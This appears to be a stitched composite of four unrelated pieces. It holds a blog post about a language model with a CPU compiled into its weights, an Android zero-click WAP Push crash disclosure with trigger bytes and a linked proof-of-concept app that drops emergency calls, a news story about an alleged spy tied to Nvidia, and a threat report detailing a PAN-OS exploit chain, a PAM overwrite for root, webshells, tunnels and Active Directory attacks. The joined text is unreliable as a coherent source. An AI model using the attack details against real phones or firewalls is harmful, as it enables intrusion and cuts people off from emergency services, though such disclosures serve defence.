A stock Qwen 3.5 4B with a RISC-V CPU compiled into its weights, running on its own Gated DeltaNet layers as RAM.

I can't believe it's not silicon

Qwenputer is a pretty fun experimental model. It's a stock Qwen 3.5 4B with one addition: a RISC-V CPU embedded within the weights that uses the model's own Gated DeltaNet attention layers as RAM. (To learn how GDN works, here's a handy guide.) This 'CPU' runs completely within the forward passes of the model, and can run arithmetic operations, C and MicroPython code without any external runtime or tool usage whatsoever.

To be very clear, it is not a plugin, a tool or a sandbox. This blog will explain exactly how this model works, and how the model utilises GDN layers as RAM, and how I also slotted in an experimental in-model file storage.

I also wrote up two follow-ups built on top of Qwenputer: how hybrid models can learn to hide their reasoning in their RNN state and evade CoT monitoring, and how compiled weights like these can work as inbuilt monitoring tools that the model itself can't tamper with.

Qwen hands a multiplication to the RISC-V CPU inside its own weights; the CPU's RAM is Gated DeltaNet state

You can grab Qwenputer from Hugging Face or ModelScope, and the code is on GitHub.

The RNN inside Qwen3.5 can be exact RAM

Qwen3-Next and Qwen 3.5 (the model Qwenputer is built on) use a pretty neat trick. 3 out of 4 attention layers in the model use Gated DeltaNet, a linear RNN, as the attention mechanism (more on that here). Each head keeps a state matrix, and the delta rule keeps this updated.

Now, here's where our fun experiment starts. I found out that by setting the gate to 1, the write strength (beta) to 1, and using one-hot key encoding, every write we perform will overwrite exactly one row, and every one-hot query can retrieve an exact value. This means that the GDN layers themselves can work exactly as RAM, at a far lower cost than using normal attention as RAM, since a GDN head's state stays the same size however long the conversation gets, unlike attention's KV cache.

Gated DeltaNet state used as RAM: a one-hot key overwrites one row, a one-hot query reads it back, and the CPU keeps its registers, memory and program counter in those rows

The idea that the delta rule acts as a memory isn't new: Schlag et al. (2021) showed that linear attention with the delta rule works as an associative memory, or "fast weights".4 Imanol Schlag, Kazuki Irie and Jürgen Schmidhuber, "Linear Transformers Are Secretly Fast Weight Programmers", ICML 2021. The new thing here is making it exact and addressable, inside a production model, reliably enough to run a whole CPU on it.

This is the base on which this entire model is built. As it stands, default Qwen 3.5 does not keep exact values in the GDN. With this modification, we unlock the next part of this experiment.

Compiling a computer into layers

Since we have a fully functional, cheap and fast RAM now, we can go ahead with compiling a working CPU into the model weights. Luckily, there's no training involved: a compiler sets every weight directly. You describe the CPU as a circuit, a long list of small steps like "read this register", "add these two numbers" or "jump if zero", and the compiler turns each step into a piece of a transformer layer: attention heads that look things up, feed-forward units that do the arithmetic, and DeltaNet heads that hold the RAM. The CPU then runs as the model decodes.

Each instruction becomes a few generated tokens: one names the memory row to write (ADDR), the next carries the value (VAL), and a STEP token ends the instruction. Those tokens are the CPU's execution trace, so while Qwen is generating them, the CPU is actually running.

The CPU

The CPU is a 32-bit RISC-V core (RV32IM, plus the Zba extension and a small bignum unit for big-number arithmetic), and it takes up 11 layers in front of Qwen's 32. As it stands, it passes the official riscv-tests, its programs match qemu, and it has run 18 million instructions free-running without a single error. Free-running means the CPU keeps going on its own outputs for the whole run, with no reference machine correcting it between steps.

This CPU can also run C and MicroPython code in the forward passes quite well (although a bit slowly). It is not a Linux-class chip yet, but it implements the full RV32IM instruction set.

How Qwen uses it

Qwen 3.5 4B is able to use this CPU quite well, without any post-training required. The CPU is used completely internally, and not invoked through any external tool calls.

In order to make the model use this reliably, I decided to go the cheap way: by piggybacking on the tool call format that models are quite well-trained on, Qwen sends the CPU its instructions and reads back the results. No external tool calls or runtime are used. Once our CPU receives the instructions, the computer layers run, and then write the tool response. We use a small driver called RvChat to load the firmware into the GDN state, and this keeps the trace tokens out of Qwen's layers.

Qwen's original weights stay exactly as they are. The computer weights are added on top of them, in extra dims and layers.

Does it work?

I think the main question here on your mind after reading through my incessant ranting will be: does this actually work?

Accuracy of base Qwen3.5-4B, Qwenputer and base Qwen with a Python tool on NUPA and DeepMind arithmetic sets

On the DeepMind sets:

• div_big: Qwenputer scores 97.5%, versus 95% by giving Qwen 3.5 4B a Python tool and 72.5% for base Qwen.
• mul_big: Qwenputer scores 97.5%, versus 100% with a Python tool and 55% for base Qwen.
• mul_div_multiple_longer: Qwenputer scores 100%, versus 97.5% with a Python tool and 90% for base Qwen.
• add_or_sub_big: Qwenputer scores 97.5%, the same as with a Python tool, and 87.5% for base Qwen.

On NUPA's long-integer arithmetic, Qwenputer goes from 48.6% to 100%, the same as giving Qwen a Python tool.

The numbers the CPU prints are exact, too: I replayed about 230,000 of its output positions against a reference machine and found zero mismatches. And bolting a computer onto Qwen doesn't change how it talks: its normal text stays within noise of base Qwen (KL 6e-4, against a noise floor of 5e-4).

A hard drive? In this economy?

Because a CPU inside a language model clearly wasn't cursed enough, I decided the prudent thing would be to give it a filesystem too.

Since we already have a functional RAM, this was mostly trivial. On the model side, it's exposed via internal put / append / get / list / delete operations. Once again, no actual tool calls. When Qwen 'saves' a file, the compiled layers hash its name into one of 1,024 slots in a directory kept in the DeltaNet state, and store the text itself in other heads, with eight tokens per row, chained together. In scenarios where two names end up landing on the same slot, it just checks the next one. Finding a file again takes roughly two or three steps instead of a scan, and it holds up to 512 files, which comes out to about 53,000 tokens of text.

Fun thing is, this is quite persistent. You can save the state at the end of a conversation, load it into the next one, and the files are still there. Using this filesystem, Qwen gets facts that changed between chats right 90% of the time, against 30% when you paste the old chats back in, and it's on par with giving Qwen memory tools run by Python (83.3% vs 78.9%). This one is still experimental, and its code lives on the rv-store branch, with the model on Hugging Face and ModelScope.

Limits and what's next

Qwenputer is very much an experiment, so a few limitations. The extra layers and wider hidden size make the checkpoint 18.8 GB, roughly double base Qwen, although most of it is zero padding. It also needs a small driver (RvChat) to boot the firmware and keep the trace tokens out of Qwen's layers, so it doesn't run with a plain generate() call yet. And it's a bit slow, with every CPU instruction costing a few decoded tokens, so a big calculation takes seconds rather than milliseconds. The batched executor I used for the benchmarks runs about 3,200 CPU tokens a second on an L4.

Next up, I want Qwen to write Python and run it on the MicroPython inside its own weights, through a python() tool that works the same way calc does. Making the CPU faster is the other big one.

Beyond arithmetic

Exact control over the RNN layers is useful for a lot more than arithmetic. It also makes Qwenputer a really nice testbed for AI safety research, and I wrote up two follow-ups: how hybrid models like Qwen 3.5 can learn to hide their reasoning in their RNN state and evade CoT monitoring, and how compiled weights can work as monitorability tools, like an in-weight monitor the model can't switch off, or answer keys for interpretability.

Try it

If you want to play with it yourself, the model runs on a single 24 GB GPU. You'll need uv and the Hugging Face CLI. You don't need a tool server or a Python sandbox for the calculations: the CPU runs them inside the model.

git clone https://github.com/divagr18/qwenputer && cd qwenputer/experimental/riscv && uv sync --extra hf
hf download divagr1925/Qwen3.5-4B-Qwenputer --local-dir qwenputer-rv
uv run python -m chipformer.rv.chat qwenputer-rv --firmware tests/data/rv/calc-bridge.elf \
    --ask "Use calc: what is 123456789 * 987654321?"

Everything is open: the code on GitHub, and both models on Hugging Face (Qwenputer, Filesystem) and ModelScope (Qwenputer, Filesystem).

If you use it in your work, you can cite it as:

@software{agrawal2026qwenputer,
  author  = {Agrawal, Divyansh},
  title   = {{Qwenputer}: a computer compiled into the weights of a pretrained language model},
  year    = {2026},
  url     = {https://github.com/divagr18/qwenputer}
}

Notes

1. Each Gated DeltaNet head keeps a state matrix, its memory. At every token, before writing anything new, it multiplies the whole state by the gate, a number between 0 and 1. That's how the RNN forgets: a gate of 0.9 fades everything stored a little on every token, and a gate of 1 means nothing ever fades.
2. After the gate, the head nudges one direction of the state towards a new value, and the write strength beta sets how far. A beta of 1 means the old value along that direction is replaced completely instead of blended.
3. A one-hot key is a vector of zeros with a single 1 in it, so it points at exactly one row of the state, the way a memory address points at one cell.
4. Imanol Schlag, Kazuki Irie and Jürgen Schmidhuber, "Linear Transformers Are Secretly Fast Weight Programmers", ICML 2021.
5. Free-running means the CPU keeps going on its own outputs for the whole run, with no reference machine correcting it between steps.

A single malformed WAP Push SMS crashes com.android.phone on Android, dropping active calls (including emergency calls), with zero interaction from the victim.

An unchecked cast turns a 5-byte header into a negative array size

When Android receives a WAP Push message, WapPushOverSms.decodeWapPdu() reads the WSP header length as a uintvar. The value comes back as a long, is cast to int with no range check, and is then used directly as the size of a new byte array:

// WapPushOverSms.java:217  header length read as long, cast with no bounds check
int headerLength = (int) pduDecoder.getValue32();
    ...
// WapPushOverSms.java:244  the cast value is used as an array size
byte[] header = new byte[headerLength];

A 5-byte uintvar of 88 80 80 80 00 decodes to 0x80000000. Cast to a signed 32-bit int, that is -2147483648. Allocating new byte[-2147483648] throws an uncaught NegativeArraySizeException on the telephony main thread, killing com.android.phone:

E AndroidRuntime: FATAL EXCEPTION: main
E AndroidRuntime: Process: com.android.phone
E AndroidRuntime: java.lang.NegativeArraySizeException: -2147483648
E AndroidRuntime:   at ...WapPushOverSms.decodeWapPdu(WapPushOverSms.java:244)
E AndroidRuntime:   at ...WapPushOverSms.dispatchWapPdu(WapPushOverSms.java:339)
E AndroidRuntime:   at ...InboundSmsHandler.processMessagePart(InboundSmsHandler.java:1169)
E AndroidRuntime:   at ...InboundSmsHandler$DeliveringState.processMessage(InboundSmsHandler.java:627)

The message is delivered as a data SMS and is never shown to the user: there is nothing in the inbox, and the victim never sees the sender's number.

Affected versions. The code sits in Android's core telephony framework and has shipped in many releases. The crash has been reproduced from Android 12 (the reboot loop in issue #2) up to Android 16. Google's October 2026 fix was released for Android 14 through 17, so devices on older versions outside the security-update window, such as Android 12 and 13, run the same code and do not receive the fix.

Remote, silent, and recoverable only with effort

• Zero-click. The victim does nothing. No tap, no open, no notification.
• Silent. Nothing appears in Messages; the attacker's number is never shown.
• Calls drop, including emergency calls. Active voice calls terminate with DisconnectCause CS_DEATH as the process restarts.
• Telephony blackout. 1-2 seconds of no service per message while com.android.phone restarts.
• Carrier redelivery amplifies it. Unacknowledged messages are re-sent by the carrier, re-crashing the phone; a single message caused intermittent outages for up to a week in testing.
• ~20 messages render the device unusable for an extended period.
• Persistent denial of service. The malformed message stays queued and is retried on every boot, so the phone can crash on startup until it is cleared (recovery below).

Tested across multiple makes and models (Pixel 9 on April 2026 firmware, various Samsung Galaxy and A-series) with a 100% reproduction rate.

Recovery over ADB, contributed by @sakisdog

After hitting the reboot loop on Android 12, @sakisdog documented a less destructive recovery (issue #2). The poison messages sit in the pending inbound queue (content://sms/raw) and are retried on every boot, so Android's RescueParty reboots the device into recovery roughly every 90 seconds. Deleting just those rows over ADB, in the short window after boot completes, breaks the loop with no factory reset:

# while sys.boot_completed == 1: find the WAP Push rows (destination_port=134020), note the address
adb shell content query --uri content://sms/raw --projection _id:destination_port:date:deleted
# let the shell edit SMS storage, delete only those rows, then reset the permission
adb shell cmd appops set com.android.shell WRITE_SMS allow
adb shell "content delete --uri content://sms/raw --where \"address='<SENDER>'\""
adb shell cmd appops set com.android.shell WRITE_SMS default
# last resort, erases ALL SMS/MMS and APN settings:
adb shell pm clear com.android.providers.telephony

Recovery credited to @sakisdog. It still needs a computer and ADB, and you should not choose "wipe data" at the recovery prompt, so for a non-technical user mid-loop it remains out of reach.

This is the distinction the report turns on. It is not a transient crash: it is a remote, zero-click, persistent denial of service that, left untreated, reboots the phone into a recovery wipe-data prompt every ~90 seconds, driving a normal user to a factory reset to recover, which is the exact shape of a "Destructive Remote DoS" in the VRP's published rules.

A remote attacker can cut a phone off from Triple Zero

Dropping calls is not an inconvenience when one of those calls is to emergency services. While a device is under this attack, or stuck in the reboot loop, it cannot reliably place a call to 000. The attack is remote, needs only the victim's number, and shows them nothing.

Australia treats access to emergency calling as a mandatory property of a mobile service, not a nice-to-have. Under the Telecommunications (Emergency Call Service) Determination, administered by the ACMA, carriers are required to identify mobile phones that cannot reach Triple Zero, help the customer move to a working device, and stop providing service to the affected handset. Telstra states plainly that it is required to block phones that can no longer call 000, notifying the customer and blocking the device if nothing is done within 28 days.

The consequence is perverse: the regulatory remedy for a phone that can't reach 000 is to cut it off the network, not to patch the OS. So an attacker who can remotely induce that condition on an Android handset can, in effect, get the victim's own device barred from carrier service until it is updated. The regulation exists precisely because loss of emergency-call access is considered a public-safety failure; this bug manufactures that failure on demand.

The framework was tightened in 2024 following the 3G shutdown, which left some phones able to make ordinary calls but unable to reach emergency services, the same functional state this vulnerability produces.

Sources: ACMA: proposed amendments to the ECS Determination · Telstra: Emergency Call Service Determination · Dept. of PM&C: impact analysis

One bounds check

The remedy is a range check before the cast in WapPushOverSms.java (line 217), provided to Google on the day of the first report:

long rawHeaderLen = pduDecoder.getValue32();
if (rawHeaderLen < 0 || rawHeaderLen > pdu.length) {
    result.statusCode = Intents.RESULT_SMS_GENERIC_ERROR;
    return result;
}
int headerLength = (int) rawHeaderLen;

What Google shipped

Google fixed this crash, but not with the bounds check above. On 15 June 2026 an Android engineer authored commit 735d967, "Fix remote DoS in decodeWapPdu," which shipped in the October 2026 Android security release for Android 14 through 17. Rather than validate the length, it widens the caught exception so the crash is swallowed, and deletes the triggering message so it cannot re-crash on carrier redelivery or on boot:

// WapPushOverSms.java: widen the catch to cover NegativeArraySizeException
- } catch (ArrayIndexOutOfBoundsException aie) {
+ } catch (RuntimeException e) {

// InboundSmsHandler.java: a failed decode now deletes the poison message
+ try { success = processMessagePart(tracker); }
+ catch (RuntimeException e) { deleteFromRawTable(...); }  // breaks the boot loop

This fix is part of the October 2026 Android security update. Devices updated to the October 2026 patch level or later are protected; devices on earlier patch levels remain vulnerable.

Source & APK

The proof-of-concept Android app and full source code are published on GitHub. The app crafts the malformed WAP Push PDU and sends it as a data SMS to a target number.

Warning: this is a working weapon. The repository contains a proof-of-concept that can remotely disrupt and brick mobile phones. It is published strictly for security research, education, and defensive testing.

Only run it against devices you own or are explicitly authorised to test. Using it against anyone else is a crime, and interfering with a person's ability to reach emergency services (000) is a serious criminal offence in Australia and most countries.

The software is provided "as is", with no warranty, under the Apache License 2.0. The author accepts no liability for any use, misuse, or damage. By downloading the APK or the source, you accept full responsibility for what you do with it.

Download APK Source on GitHub

An alleged Chinese spy developed a “close relationship” with Nvidia CEO Jensen Huang, setting off alarms among US intelligence officials who were secretly monitoring her communications, according to a report.

The woman, Alice Huang, also known as Huang Le, is a Chinese citizen who has served as a top executive at Singapore-based Megaspeed, an Nvidia customer and cloud partner that provides AI computing power to Chinese companies including Alibaba, the New York Times reported Thursday.

US intelligence agencies concluded that Alice Huang — seen in photos enjoying whiskey and dining with the tech titan — was secretly funneling information to Beijing, according to the paper, which cited people briefed on classified intelligence findings.

Nvidia CEO Jensen Huang was photographed drinking whiskey with Alice Huang, a Chinese businesswoman accused of passing intelligence to Beijing, at a Taipei bar in June 2024. @netthunder/LinkedIn

US electronic surveillance identified Jensen Huang as one of Alice Huang’s contacts, but the report offered no evidence that he knew of her alleged intelligence activities.

The Times could not determine what information she passed along or how valuable it was to Chinese authorities. The report did not address whether the relationship was romantic in nature.

Photos posted online in June 2024 showed the duo at a Taipei, Taiwan, bar after a local tech show, where they reportedly quaffed whiskey with other AI bigshots.

They were also seen together in May 2025, exiting a Taipei restaurant following a business dinner with AI suppliers. In a video of the scene, Alice Huang is seen standing a few feet behind the Nvidia boss with a big grin on her face while he banters with local journos.

US authorities have been investigating Megaspeed over suspicions that it helped Chinese firms circumvent US export restrictions and smuggle advanced Nvidia chips into China, the Times reported.

Megaspeed operates as a middleman, purchasing Nvidia chips through the US arm of Inspur, a Chinese server manufacturer, and renting computing power from its Southeast Asian data centers to Chinese companies, according to the Gray Lady.

Inspur’s parent company has been blacklisted by Washington for funneling technology to China’s military, although its American subsidiary remains free of sanctions, according to the Times.

Nvidia is the world’s most valuable publicly traded company, boasting a market capitalization of roughly $5.2 trillion.

Alice Huang, also known as Huang Le. LinkedIn

Its advanced chips have become the backbone of the artificial intelligence boom, giving Huang enormous clout in Silicon Valley and Washington as the US races to maintain its technological edge over China. The feds have banned Nvidia from selling its best chips to Chinese companies for years.

Jensen Huang is married to Lori Mills Huang, whom he met while studying electrical engineering at Oregon State University.

The couple has two children, Spencer and Madison, both of whom work at Nvidia.

President Trump was briefed on the intelligence findings roughly a year ago but chose not to take action, according to the Times, which added that he was wary of disrupting Nvidia’s lucrative chip sales and further complicating trade relations with China.

Nvidia CEO Jensen Huang has cultivated close ties with President Trump, successfully lobbying his administration to ease restrictions on AI chip sales to China. Getty Images

Jensen Huang has cultivated close ties with Trump, attending a high-dollar donors’ dinner at Mar-a-Lago, Fla., with his wife, personally lobbying the president to allow Nvidia to continue selling chips to Beijing, the Times reported.

Nvidia subsequently donated at least $20 million to Trump’s White House ballroom fund, according to a person familiar with the matter cited by the Times.

The chipmaker also pledged to invest $500 billion in US manufacturing — a top Trump priority — while Huang successfully pressed the administration to loosen restrictions on AI companies and chip exports to China.

Although US officials initially believed Jensen Huang did not know of Alice Huang’s alleged espionage activities, some senior Trump administration officials now doubt that the Nvidia boss “could have remained unaware” of her intelligence-gathering role for Beijing, according to the Times.

It remains unclear whether US intelligence agencies have formally changed their assessment.

Nvidia pushed back against suggestions that Jensen Huang’s dealings with the alleged Chinese intelligence operative were suspicious, describing Megaspeed as a typical regional cloud customer.

“Jensen’s interactions with Ms. Huang are not unusual or unexpected,” an Nvidia spokesperson told The Post.

President and CEO of NVIDIA Jensen Huang, left, and his wife Lori Huang talk to former Apple CEO Tim Cook during a state dinner for Chinese President Xi Jinping in the White House on Sept. 24. Getty Images

“Meetings with customers are part of a CEO’s job; Jensen talks with thousands of customer executives every year.”

The company insisted that its regional cloud customers receive “ordinary business information — not sensitive NVIDIA trade secrets” and “zero information relevant to national security.”

Nvidia also said it regularly receives government updates about potentially problematic individuals and companies, adding that it “always” takes appropriate action.

“We’re confident that if the US government believes that any person is a threat to American industry, it would let us know,” the spokesperson said.

The chipmaker also rejected allegations that its technology was being diverted through Megaspeed, saying the claims were “thoroughly investigated and debunked last year.”

Nvidia CEO Jensen Huang was never warned by US intelligence officials that a Chinese businesswoman with whom he had developed a close relationship was allegedly gathering information for Beijing, according to the Times. REUTERS

It maintained that Beijing has blocked American AI chips rather than sought them through regional cloud providers.

“China opposes vilifying China by peddling the so-called ‘Chinese spy’ narrative,” Chinese embassy spokesperson Liu Chang told The Post.

“China is committed to self-reliance and strength in science and technology, and its scientific and technological development has always been grounded in independent innovation.

“We urge the US to stop its malicious efforts to block and suppress China and its groundless smears and slanders, and do more things that are conducive to sci-tech exchanges and cooperation between the two countries.”

The Post has sought comment from the White House and Megaspeed.

Since this discovery, the Dream research team has been sharing updates and collaborating on an investigation with Palo Alto Networks, the vendor of the firewall in question. More information is available on the Palo Alto Networks website. Additional details are now included in the post itself.

Custom PHP2Shell Exploit Chained with Kernel LPE to Root Versions of Palo Alto Networks PAN-OS Firewalls in the Wild

On October 25, Dream researchers uncovered artifacts of what appeared to be a Chinese AI-assisted campaign that rooted 25 servers, including systems in a US government-affiliated environment. The attacker combined PHP2Shell with a kernel privilege-escalation exploit to compromise exposed systems.

The affected devices run specific versions of Palo Alto Networks PAN-OS.

The exploited surface is the PAN-OS management web server, which also fronts the GlobalProtect portal. Palo Alto Networks’ Unit 42 has independently verified the attacker’s tooling and results, and Palo Alto Networks is releasing fixed PAN-OS versions across the affected branches.

After rooting the firewalls, the attacker launched attacks against Active Directory. The recovered artifacts confirm credential extraction and directory enumeration.

The operation illustrates how an exposed management interface can become a path into an organization’s identity infrastructure. For government defenders, vulnerability discovery is just the beginning, after which the real challenge extends from identifying vulnerable systems to understanding and containing the access a compromise makes possible.

The research below was conducted with proactive threat hunting using Dream’s autonomous cyber research product, Hero.

Discovery

Dream researchers identified a complete attack operation that included a custom weaponization of the PHP2Shell exploit chain (CVE-2026-109618/CVE-2026-109619) paired with the Fragnesia kernel privilege escalation (CVE-2026-46300), target lists, exploitation logs, and approximately 40 custom post-exploitation scripts.

This included artifacts of a campaign that had rooted 25 PAN-OS firewall and management servers across the United States, Japan, Taiwan, and South Korea. Once rooted, the attacker zeroed in on three specific servers in a US government-affiliated environment.

The discovered artifacts revealed an operation that began with exploit development in a lab environment and ended with persistent access to a US government organization's internal Active Directory domain.

AI Usage in Attack

We also observed some evidence of AI-assisted tooling in the attack infrastructure:

• Claude Code had been installed
• An AI-powered offensive security platform called aiscan was configured with Chinese LLMs DeepSeek and Kimi
• API keys for the Chinese reconnaissance platform FOFA were present

While we have no direct evidence that the AI tools were specifically used to write the exploit or the post-exploitation scripts, the code structure, commenting style, and consistency across ~40 scripts suggest AI-assisted development. That said, this operation does not appear to be a fully autonomous nation-state attack.

The Exploit: Two Vulnerabilities Chained Into One Request

The attacker developed two separate exploits and chained them together to achieve root access on any internet-facing PAN-OS firewall running a vulnerable build in a single HTTP request without any credentials.

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) — Remote Code Execution

The implementation we recovered is a custom, non-public build, not a copy of any known public exploit for PHP2Shell. It follows the same underlying concept but appears to have been independently developed and tailored specifically for PAN-OS.

The vulnerability targets PHP's session.upload_progress mechanism on the PAN-OS management web server (appweb). PAN-OS uses PHP 8.0.30 with a high memory limit that enables the memory corruption stages of the attack.

The attack works in four orchestrated stages:

• A1 — Memory Exhaustion (~383MB): The attacker floods the server with crafted multipart POST requests, each containing massive filenames and session progress data. This pushes PHP's memory allocator to its limits, forcing the system into a predictable memory layout.
• B1 — Information Leak: A second request forges the stale session ID length from A1, forcing an out-of-bounds read. The server's Set-Cookie response header carries the leaked pointer value — giving the attacker the base address of libphp.so in the running process.
• A2 — Stale Reference Setup (~500MB): Another round of memory pressure initializes a session, leaving http_session_vars as a live zend_reference, then triggers a second OOM that leaves mod_data=NULL — creating a stale reference the attacker can forge in B2.
• B2 — Code Execution: The final request forges a PHP HashTable entry in the freed memory region. The forged entry's pDestructor callback points to zif_system (PHP's system() function), and its data points to a shell command string. When PHP's cleanup handler walks the HashTable, it calls the forged destructor — executing arbitrary commands as the nobody user.

Fragnesia (CVE-2026-46300) — Kernel Privilege Escalation

Getting code execution as nobody isn't enough since SELinux confines httpd_t from modifying system files. In order to complete the root, the attacker chained in a second exploit: a Linux kernel vulnerability in the XFRM ESP-in-TCP subsystem.

Fragnesia uses page-cache writes to overwrite /etc/pam.d/su — replacing its authentication rules with pam_permit.so (accept all). Because the PAM file is only 774 bytes, the exploit uses a per-byte splicing variant to write it precisely. After the overwrite, su root succeeds without a password.

Both exploits run in a single B2 HTTP request. The total chain — from unauthenticated HTTPS connection to persistent root webshell — completes in under 15 minutes.

The Lab: Version Profiling at Scale

The exploit is not a single fire-and-forget payload. It requires precise memory offsets that differ between PAN-OS versions — the address of zval_ptr_dtor, the address of zif_system, HashTable structure sizes, and memory geometry parameters that control the heap layout during each stage.

Among the recovered artifacts, we found 11 JSON version profile files — one for each PAN-OS version that had been tested:

Each profile contains the exact offsets extracted from the libphp.so binary of that version — with SHA256 hashes of each library, ELF build IDs, and precise memory geometry parameters (chunk sizes, fill counts, drain counts, spray offsets) tuned through lab testing.

The difference between "calibrated" and "provisional" profiles is notable — calibrated means the attacker tested the exploit against a running VM of that version and confirmed the memory geometry works. Provisional means they calculated offsets from the binary but haven't verified on a live instance.

The Campaign Funnel: From 19,000 Discovered to 25 Exploited

Figure 1: Operational timeline of the campaign, from setup on October 8 through exploitation, the pivot into the internal network, and post-exploitation on October 24.

With the exploit ready and profiles for 9 exploitable versions, the attacker launched a targeting campaign that followed a clear funnel:

Stage 1: Global Discovery (19,000 targets)

Using FOFA — a Chinese internet asset search engine similar to Shodan — the attacker identified approximately 19,000 internet-facing PAN-OS firewalls worldwide. These were devices with management interfaces exposed to the internet, discoverable through certificate fingerprints and HTTP response signatures.

Stage 2: Version Fingerprinting (5,000 alive)

A custom version scanner ran with 200 concurrent threads against all 19,000 targets, identifying which devices were actually online and what PAN-OS version they were running. Approximately 5,000 responded with version information.

Stage 3: Geographic and Version Filtering (240 targets)

From the 5,000 alive devices, the attacker filtered to servers located in only United States, Japan, Taiwan, and South Korea. They then further filtered to versions matching their exploit profiles (the PAN-OS 12.1 and 12.2 branches running PHP 8.0.30). This produced a final target list of 240 firewalls.

Since US, Japan, Taiwan, and South Korea are the four primary strategic adversaries and intelligence targets for Chinese state-aligned cyber operations in the Pacific theater, this indicates potential nation-state adversary efforts.

Stage 4: Automated Exploitation (24 rooted)

The 240 targets were fed into an automated batch runner that exploited them five at a time, with an 1800-second (30-minute) timeout per target. For each success, the batch:

• Ran the full PHP2Shell + Fragnesia chain
• Planted a 103-byte PHP root webshell in a publicly accessible directory on the firewall (/unauth/php/change_password.php)
• Verified root by executing id through the webshell
• Logged the target's hostname and IP to a success CSV
• Moved to the next target

At this point, 24 firewalls had been successfully rooted.

Stage 5: Triage (2 firewalls prioritized)

For 22 of the 24 rooted firewalls, the attacker did nothing beyond planting the webshell. No persistence, no tunnels, no post-exploitation tools. The servers were effectively owned and parked, allowing the attacker to return through the webshell at any time.

Two servers seemingly associated with one target progressed beyond this stage. Both appeared to belong to a US government-affiliated environment.

Stage 6: The Pivot (Shifting from Firewall to Domain)

Among the 24 rooted firewalls, two belonged to a US government-affiliated organization. The running configuration extracted from the first firewall revealed an environment with characteristics suggesting government affiliation: CAC (Common Access Card) authentication, a specific naming prefix, and standardized government-style asset naming. The configuration file contained the organization's complete internal network topology: domain controllers, a central firewall management server, a Keycloak SSO server, a GitLab instance, GlobalProtect VPN gateways, and the Active Directory domain.

The first firewall was rooted on Oct 23 at 18:14 UTC during the automated batch. But it crashed shortly after — likely from the ~900MB of exploit traffic — and never came back online. The attacker monitored it with 240 automated probes over two hours, waiting for it to recover. It didn't. The second firewall, whose certificate data definitively linked it to the target organization, had timed out during the original batch.

Recognizing the organization's value from the first firewall's configuration, the attacker created a separate, dedicated campaign and successfully exploited it on Oct 24 at 10:09 UTC.

Within hours, the attacker:

Built a persistent tunnel into the internal network.

An 8-port reverse SSH tunnel connected the compromised firewall back to the operator's infrastructure, forwarding access to:

• Domain controllers (LDAP, LDAPS, RDP)
• The internal firewall management server
• GlobalProtect VPN infrastructure
• A SOCKS5 proxy for arbitrary internal network access

The tunnel was wrapped in a systemd service and an rc.local boot hook, both launching scripts from /usr/local/lib/.panops/ — it survives reboots and automatically reconnects.

Exploited the management server through the tunnel. At 11:35 UTC, less than 90 minutes after rooting the second firewall, the attacker used the newly gained server access and the same PHP2Shell + Fragnesia chain against a third government server - the internal firewall management server that was only reachable through the tunnel. This server centrally manages all of the organization's firewalls. Compromising it gave the attacker access to every managed firewall's configuration, credentials, and network settings. This brought the total number of servers exploited to 25.

Launched an AD attack campaign from the management server. Because the management server already had LDAP connectivity to Active Directory (it needs it to authenticate VPN users), the attacker used it as their launch platform for domain attacks:

• Decrypted the LDAP service account password — the device config stores it encrypted, but with root access the attacker has the master key. They extracted it in plaintext and hardcoded it into every subsequent script.
• Enumerated every user and group in the domain via LDAP queries.
• Sprayed passwords against every user account using organization-themed passwords. The domain had lockoutThreshold=0 — meaning no account lockout, allowing unlimited spray attempts.
• Attempted to create backdoor AD accounts — both a user account (tried in every OU) and a machine account (exploiting the default MachineAccountQuota setting).
• Analyzed AD ACL chains for privilege escalation paths.
• Attempted SAML signing key extraction from the Keycloak IdP configuration.
• Probed Keycloak SSO for authentication bypass.

The attack results — whether the password spray found valid credentials, whether the backdoor accounts were created, whether SAML keys were extracted — stayed on the management server's local filesystem and were not among the artifacts we recovered. This means we cannot determine the full extent of the compromise.

Figure 2: The attack path. PHP2Shell and Fragnesia root the perimeter firewall, a reverse SSH tunnel reaches the internal management server, and the decrypted LDAP service account opens Active Directory.

Management Server → Active Directory

What the Attacker Has Now

From the recovered artifacts, we can confirm the attacker possesses:

• Persistent remote access to the organization's internal network via a boot-surviving reverse tunnel and SOCKS proxy — likely still active
• Root webshells on two firewalls and the firewall management server — likely still active
• The full Active Directory user and group listing — a complete organizational blueprint
• Decrypted LDAP service account credentials — enabling direct AD queries at any time
• Private keys harvested from the PAN-OS firewall filesystem — HA replication keys, SSL/TLS certificate keys, and device authentication keys
• Complete network topology — every IP, hostname, subnet, server role, and VPN gateway
• SAML IdP configuration with weak security settings (validate-idp-certificate: no)
• 22 additional parked firewalls across the US, Japan, Taiwan, and South Korea — ready for exploitation at any time

What we cannot determine is whether the password spray, backdoor account creation, or SAML key extraction succeeded. If any of these attacks worked, the compromise extends far beyond the perimeter firewalls into the organization's identity infrastructure.

Attribution Indicators

We do not attribute this activity to a named threat actor. Palo Alto Networks’ Unit 42 tracks this activity as CL-UNK-1280 and attributes it to a Chinese-speaking attacker in the UTC+8 time zone. However, multiple indicators point to a Chinese-nexus operation:

Conclusion

This operation demonstrates a level of preparation and capability that sets it apart from opportunistic exploitation. The attacker invested significant effort into vulnerability research — obtaining PAN-OS firmware, decrypting it, extracting PHP libraries, building precise memory profiles for 9 different software versions, and calibrating exploit geometry through lab testing. The exploitation itself was automated and efficient: 240 targets attempted in a single batch, with version-specific profiles selected automatically.

There was a clear-cut focus on government targets.

The attacker scanned 19,000 firewalls, rooted 24, and immediately identified the two that mattered. Within hours of compromising a US government-affiliated firewall, they had tunneled into the internal network, compromised a third server using the same PHP2Shell exploit, and launched a full Active Directory attack campaign — all through a chain that started with a single unauthenticated HTTPS request to a management interface that should never have been exposed to the internet.

The 22 other rooted firewalls remain parked with active webshells. The persistent tunnel into the US government organization is likely still running. And the attacker still has 19,000 fingerprinted targets they can revisit as they develop profiles for additional PAN-OS versions. Palo Alto Networks device telemetry shows continued exploitation attempts against exposed PAN-OS devices.

See the Palo Alto Networks website for full guidance and indicators of compromise.

Closing the Gap Between Discovery and Defense

For governments and critical infrastructure, finding a vulnerability is only the beginning. Defenders need to identify exposed systems, establish what attackers can exploit, and act before a foothold becomes a wider compromise.

Dream addresses that challenge through two complementary cyberdefense platforms:

• Sphere scales national cyber defense. It maps exposure, prioritizes risks, and detects and responds to attacks across government networks, tailored to each nation’s threats and infrastructure.
